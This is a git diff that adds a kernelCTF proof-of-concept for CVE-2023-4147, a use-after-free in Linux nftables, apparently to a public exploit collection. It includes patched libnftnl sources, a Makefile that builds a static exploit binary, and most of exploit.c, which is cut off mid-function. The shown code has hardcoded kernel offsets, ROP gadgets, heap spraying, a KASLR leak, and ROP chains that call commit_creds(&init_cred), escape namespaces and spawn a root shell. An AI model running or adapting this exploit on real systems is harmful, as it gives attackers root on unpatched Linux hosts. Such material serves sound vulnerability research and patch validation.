+EXPORT_SYMBOL(nftnl_rule_list_free); +void nftnl_rule_list_free(struct nftnl_rule_list *list) +{ + struct nftnl_rule *r, *tmp; + + list_for_each_entry_safe(r, tmp, &list->list, head) { + list_del(&r->head); + nftnl_rule_free(r); + } + xfree(list); +} + +EXPORT_SYMBOL(nftnl_rule_list_is_empty); +int nftnl_rule_list_is_empty(const struct nftnl_rule_list *list) +{ + return list_empty(&list->list); +} + +EXPORT_SYMBOL(nftnl_rule_list_add); +void nftnl_rule_list_add(struct nftnl_rule *r, struct nftnl_rule_list *list) +{ + list_add(&r->head, &list->list); +} + +EXPORT_SYMBOL(nftnl_rule_list_insert_at); +void nftnl_rule_list_insert_at(struct nftnl_rule *r, struct nftnl_rule *pos) +{ + list_add(&r->head, &pos->head); +} + +EXPORT_SYMBOL(nftnl_rule_list_add_tail); +void nftnl_rule_list_add_tail(struct nftnl_rule *r, struct nftnl_rule_list *list) +{ + list_add_tail(&r->head, &list->list); +} + +EXPORT_SYMBOL(nftnl_rule_list_del); +void nftnl_rule_list_del(struct nftnl_rule *r) +{ + list_del(&r->head); +} + +EXPORT_SYMBOL(nftnl_rule_list_foreach); +int nftnl_rule_list_foreach(struct nftnl_rule_list *rule_list, + int (*cb)(struct nftnl_rule *r, void *data), + void *data) +{ + struct nftnl_rule *cur, *tmp; + int ret; + + list_for_each_entry_safe(cur, tmp, &rule_list->list, head) { + ret = cb(cur, data); + if (ret < 0) + return ret; + } + return 0; +} + +struct nftnl_rule_list_iter { + const struct nftnl_rule_list *list; + struct nftnl_rule *cur; +}; + +EXPORT_SYMBOL(nftnl_rule_list_iter_create); +struct nftnl_rule_list_iter * +nftnl_rule_list_iter_create(const struct nftnl_rule_list *l) +{ + struct nftnl_rule_list_iter *iter; + + iter = calloc(1, sizeof(struct nftnl_rule_list_iter)); + if (iter == NULL) + return NULL; + + iter->list = l; + if (nftnl_rule_list_is_empty(l)) + iter->cur = NULL; + else + iter->cur = list_entry(l->list.next, struct nftnl_rule, head); + + return iter; +} + +EXPORT_SYMBOL(nftnl_rule_list_iter_cur); +struct nftnl_rule *nftnl_rule_list_iter_cur(struct nftnl_rule_list_iter *iter) +{ + return iter->cur; +} + +EXPORT_SYMBOL(nftnl_rule_list_iter_next); +struct nftnl_rule *nftnl_rule_list_iter_next(struct nftnl_rule_list_iter *iter) +{ + struct nftnl_rule *r = iter->cur; + + if (r == NULL) + return NULL; + + /* get next rule, if any */ + iter->cur = list_entry(iter->cur->head.next, struct nftnl_rule, head); + if (&iter->cur->head == iter->list->list.next) + return NULL; + + return r; +} + +EXPORT_SYMBOL(nftnl_rule_list_iter_destroy); +void nftnl_rule_list_iter_destroy(const struct nftnl_rule_list_iter *iter) +{ + xfree(iter); +} diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/rule.h b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/rule.h new file mode 100644 index 00000000..6781aa70 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/rule.h @@ -0,0 +1,28 @@ +#ifndef _LIBNFTNL_RULE_INTERNAL_H_ +#define _LIBNFTNL_RULE_INTERNAL_H_ + +struct nftnl_rule { + struct list_head head; + + uint32_t flags; + uint32_t family; + const char *table; + const char *chain; + uint32_t chain_id; + uint64_t handle; + uint64_t position; + uint32_t id; + uint32_t position_id; + struct { + void *data; + uint32_t len; + } user; + struct { + uint32_t flags; + uint32_t proto; + } compat; + + struct list_head expr_list; +}; + +#endif diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/Makefile b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/Makefile new file mode 100644 index 00000000..c89f9f51 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/Makefile @@ -0,0 +1,42 @@ +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl +INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include +CFLAGS = -static -s + +exploit: + gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) + +prerequisites: libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cp rule.c $(LIBNFTNL_DIR)/libnftnl-1.2.5/src/ + cp rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/ + cp libnftnl_rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/libnftnl/rule.h + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + +clean: + rm -f exploit + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/exploit b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/exploit new file mode 100755 index 00000000..f4406977 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/exploit.c b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/exploit.c new file mode 100644 index 00000000..e2d3d179 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/exploit.c @@ -0,0 +1,839 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "netlink_utils.h" + +uint64_t find_task_by_vpid_off = 0x1b5600; +uint64_t switch_task_namespaces_off = 0x1bd180; +uint64_t commit_creds_off = 0x1bed10; +uint64_t init_nsproxy_off = 0x26765c0; +uint64_t init_cred_off = 0x2676800; +uint64_t swapgs_restore_regs_and_return_to_usermode_off = 0x12010c6; +uint64_t nft_counter_ops_off = 0x1b26680; + +// 0xffffffff81f5b269 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404b80 +// 0xffffffff81088893 : pop rdi ; jmp 0xffffffff82404b80 +// 0xffffffff810d88a3 : pop rsi ; jmp 0xffffffff82404b80 +// 0xffffffff82142a6b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404b80 +// 0xffffffff81036590 : add rax, rsi ; jmp 0xffffffff82404b80 +// 0xffffffff810271ec : pop rcx ; jmp 0xffffffff82404b80 +// 0xffffffff8172342b : mov qword ptr [rax], rcx ; jmp 0xffffffff82404b80 +// 0xffffffff81068961 : pop rsp ; jmp 0xffffffff82404b80 + +uint64_t push_rbx_pop_rsp = 0xf5b269; +uint64_t pop_rdi_ret = 0x088893; +uint64_t pop_rsi_ret = 0x0d88a3; +uint64_t mov_rdi_rax_ret = 0x1142a6b; +uint64_t add_rax_rsi_ret = 0x036590; +uint64_t pop_rcx_ret = 0x0271ec; +uint64_t mov_rax_rcx_ret = 0x72342b; +uint64_t pop_rsp_ret = 0x068961; + +uint64_t nft_counter_ops = 0; +uint64_t kbase = 0; +uint64_t heap_addr1 = 0; +uint64_t heap_addr2 = 0; + +struct mnl_socket * nl; +uint32_t portid; + +void write_file(const char *filename, char *text) { + + int fd = open(filename, O_RDWR | O_CREAT, 0644); + + write(fd, text, strlen(text)); + close(fd); +} + +void new_ns(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + unshare(CLONE_NEWUSER | CLONE_NEWNS); + + unshare(CLONE_NEWNET); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); +} + +/* + * Add a network interface. + * Equivalent to `ip link add ...`. + */ +int net_if(char *type, int n, int opt, bool change) { + + struct nlmsghdr *msg; + struct nlattr *opts; + struct ifinfomsg ifinfo = {}; + char name[0x100] = { 0 }; + int sk; + + strcpy(name, type); + + if (n >= 0) + snprintf(name, sizeof(name), "%s-%d", type, n); + + // Initalize a netlink socket and allocate a nlmsghdr + sk = nl_init_request(RTM_NEWLINK, &msg, NLM_F_REQUEST|NLM_F_CREATE); + if (!sk) { + perror("nl_init_request()"); + return -1; + } + + ifinfo.ifi_family = AF_UNSPEC; + ifinfo.ifi_type = PF_NETROM; + ifinfo.ifi_index = 0; + ifinfo.ifi_flags = opt; + ifinfo.ifi_change = change ? 1 : 0; + + nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO); + + nla_put_string(msg, IFLA_IFNAME, name); + opts = nla_nest_start(msg, IFLA_LINKINFO); + nla_put_string(msg, IFLA_INFO_KIND, type); + nla_nest_end(msg, opts); + + // Send the netlink message and deallocate resources + return nl_complete_request(sk, msg); +} + +void pwn(){ + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + char *args[] = {"/bin/sh", NULL}; + execve("/bin/sh", args, NULL); + + exit(0); +} + +uint64_t _user_rip = (uint64_t) pwn; +uint64_t _user_cs = 0; +uint64_t _user_rflags = 0; +uint64_t _user_sp = 0; +uint64_t _user_ss = 0; + +void save_state(void) { + __asm__(".intel_syntax noprefix;" + "mov _user_cs, cs;" + "mov _user_ss, ss;" + "mov _user_sp, rsp;" + "pushf;" + "pop _user_rflags;" + ".att_syntax"); + return; +} + +#define TRIG_HOST "127.0.0.1" +#define TRIG_PORT 1337 + +/* Connect to a server in a specific port to trigger netfilter hooks */ +void trig_net_sock(void) { + int sockfd = 00; + struct sockaddr_in servaddr, cli; + + bzero(&servaddr, sizeof(servaddr)); + bzero(&cli, sizeof(cli)); + + sockfd = socket(AF_INET, SOCK_STREAM, 0); + if(sockfd == -1) + printf("[-] Socket creation failed"); + + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST); + servaddr.sin_port = htons(TRIG_PORT); + + if(connect(sockfd, (struct sockaddr*) &servaddr, sizeof(servaddr)) != 0) + printf("[-] Connection with server failed"); + + write(sockfd, "AAAA", 4); + close(sockfd); + + return; +} + +/* Set up a server to receive hook-triggering output packets */ +void setup_trig_server(void) { + int sfd = 0, sock = 0; + struct sockaddr_in address; + int opt = 1; + int addrlen = sizeof(address); + char buffer[1024] = { 0 }; + + if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0) + printf("[-] Error at socket()"); + + if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) + printf("[-] Error at setsockopt()"); + + address.sin_family = AF_INET; + address.sin_addr.s_addr = INADDR_ANY; + address.sin_port = htons(TRIG_PORT); + + if(bind(sfd, (struct sockaddr*)&address, sizeof(address)) < 0) + printf("[-] Error at bind()"); + + if(listen(sfd, 3) < 0) + printf("[-] Error at listen()"); + + if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0) + printf("[-] Error at accept()"); + + read(sock, buffer, 4); + + sleep(1); + + close(sock); + close(sfd); + + return; +} + +char * table1_name = "table1"; + +char * chain1_name = "chain1"; +char * chain2_name = "chain2"; +// allocate chain->name to kmalloc-cg-16 +char * chain3_name = "chain3_12341234"; +// allocate chain->name to kmalloc-cg-192 +char * chain4_name = "chain4_1234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234"; + +uint8_t family = NFPROTO_IPV4; + +void make_payload2(uint64_t* data){ + int i = 0; + + // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section) + data[i++] = kbase + pop_rcx_ret; + data[i++] = -0xffff; + data[i++] = kbase + mov_rax_rcx_ret; + + // find_task_by_vpid(1) + data[i++] = kbase + pop_rdi_ret; + data[i++] = 1; + data[i++] = kbase + find_task_by_vpid_off; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + mov_rdi_rax_ret; + data[i++] = kbase + pop_rsi_ret; + data[i++] = kbase + init_nsproxy_off; + data[i++] = kbase + switch_task_namespaces_off; + + data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; + data[i++] = 0; // rax + data[i++] = 0; // rdx + data[i++] = _user_rip; // user_rip + data[i++] = _user_cs; // user_cs + data[i++] = _user_rflags; // user_rflags + data[i++] = _user_sp; // user_sp + data[i++] = _user_ss; // user_ss +} + +void make_payload(uint64_t* data){ + int i = 0; + + data[i++] = kbase + push_rbx_pop_rsp; + + // commit_creds(&init_cred) + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + init_cred_off; + data[i++] = kbase + commit_creds_off; + + // current = find_task_by_vpid(getpid()) + data[i++] = kbase + pop_rdi_ret; + data[i++] = getpid(); + data[i++] = kbase + find_task_by_vpid_off; + + // current += offsetof(struct task_struct, rcu_read_lock_nesting) + data[i++] = kbase + pop_rsi_ret; + data[i++] = 0x474; + data[i++] = kbase + add_rax_rsi_ret; + + data[i++] = kbase + pop_rsp_ret; + data[i++] = heap_addr1+0x20; +} + +#define TABLE_SPRAY 0x80 +#define SET_SPRAY 0x10 + +void spray_set_counter_expr(int id){ + int set_ksize = 64; + char *set_name; + + asprintf(&set_name, "s_set%02hx", id); + + struct nftnl_set * set_leak = nftnl_set_alloc(); + + nftnl_set_set_str(set_leak, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_leak, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set_leak, NFTNL_SET_FLAGS, 0); + nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_LEN, set_ksize); + nftnl_set_set_u32(set_leak, NFTNL_SET_ID, id); + + struct nftnl_expr * expr_counter = nftnl_expr_alloc("counter"); + nftnl_set_add_expr(set_leak, expr_counter); + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100; + char *buf = malloc(buf_size); + + struct mnl_nlmsg_batch * batch; + int seq = 0; + struct nlmsghdr * nlh; + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_leak); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +/* +chain1 (Base) + rule_bind_chain_1_2 (rule for triggering vulnerability) + rule_dangling_3 (holds dangling pointer to chain3) + rule_dangling_4 (holds dangling pointer to chain4) +chain2 (Vulnerable) + rule_bind_chain_2_3 (rule for triggering vulnerability) + rule_bind_chain_2_4 (rule for triggering vulnerability) + rule_replace_3 (rule for triggering vulnerability)) + rule_replace_4 (rule for triggering vulnerability) +chain3 (Victim for kbase leak) +chain4 (Victim for kheap and RIP control leak) +*/ + +int trig(){ + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table1_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_chain * chain1 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain1_name); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TYPE, "filter"); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_PRIO, 10); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_POLICY, NF_ACCEPT); + + struct nftnl_chain * chain2 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain2_name); + nftnl_chain_set_u32(chain2, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING); + nftnl_chain_set_u32(chain2, NFTNL_CHAIN_ID, 1337); + + struct nftnl_chain * chain3 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain3, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain3, NFTNL_CHAIN_NAME, chain3_name); + nftnl_chain_set_u32(chain3, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain4 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain4, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain4, NFTNL_CHAIN_NAME, chain4_name); + nftnl_chain_set_u32(chain4, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_rule * rule_bind_chain_1_2 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_CHAIN, chain1_name); + + struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain2_name); + nftnl_rule_add_expr(rule_bind_chain_1_2, expr_immediate); + + struct nftnl_rule * rule_bind_chain_1_2_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u64(rule_bind_chain_1_2_del, NFTNL_RULE_HANDLE, 5); + + struct nftnl_rule * rule_bind_chain_2_3 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_2_3, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_u32(rule_bind_chain_2_3, NFTNL_RULE_CHAIN_ID, 1337); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain3_name); + nftnl_rule_add_expr(rule_bind_chain_2_3, expr_immediate); + + struct nftnl_rule * rule_bind_chain_2_4 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_2_4, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_u32(rule_bind_chain_2_4, NFTNL_RULE_CHAIN_ID, 1337); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain4_name); + nftnl_rule_add_expr(rule_bind_chain_2_4, expr_immediate); + + struct nftnl_rule * rule_dangling_3 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_CHAIN, chain1_name); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain3_name); + nftnl_rule_add_expr(rule_dangling_3, expr_immediate); + + struct nftnl_rule * rule_dangling_4 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_CHAIN, chain1_name); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain4_name); + nftnl_rule_add_expr(rule_dangling_4, expr_immediate); + + struct nftnl_rule * rule_replace_3 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_replace_3, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_u32(rule_replace_3, NFTNL_RULE_CHAIN_ID, 1337); + nftnl_rule_set_u64(rule_replace_3, NFTNL_RULE_HANDLE, 7); + + struct nftnl_rule * rule_replace_4 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_replace_4, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_u32(rule_replace_4, NFTNL_RULE_CHAIN_ID, 1337); + nftnl_rule_set_u64(rule_replace_4, NFTNL_RULE_HANDLE, 6); + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100; + char *buf = malloc(buf_size); + int ret; + char read_data[0x1000] = {0,}; + + struct mnl_nlmsg_batch * batch; + int seq = 0; + struct nlmsghdr * nlh; + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x1000); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain4); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain3); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_4); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_3); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE | NLM_F_REPLACE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_replace_3); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE | NLM_F_REPLACE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_replace_4); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (triggering the vulnerability) + usleep(100*1000); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_3); + mnl_nlmsg_batch_next(batch); + + // Del target chain to trigger UAF + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain3); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (free Victim chain3) + usleep(100*1000); + + // Leak kaslr. Using nft_counter for LTS and Mitigation (v6.1) and nft_last for COS (v5.15) + for(int i = 0 ; i < SET_SPRAY; i++) + spray_set_counter_expr(i); + + struct nftnl_rule *rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_DUMP | NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x400); + + if (ret > 0) { + nft_counter_ops = *(unsigned long*) &read_data[0x70]; + kbase = nft_counter_ops - nft_counter_ops_off; + ret = mnl_socket_recvfrom(nl, read_data, 0x400); + } + + printf("[*] kbase %lx nft_counter_ops %lx\n", kbase, nft_counter_ops); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_4); + mnl_nlmsg_batch_next(batch); + + // Del target chain to trigger UAF + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain4); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + 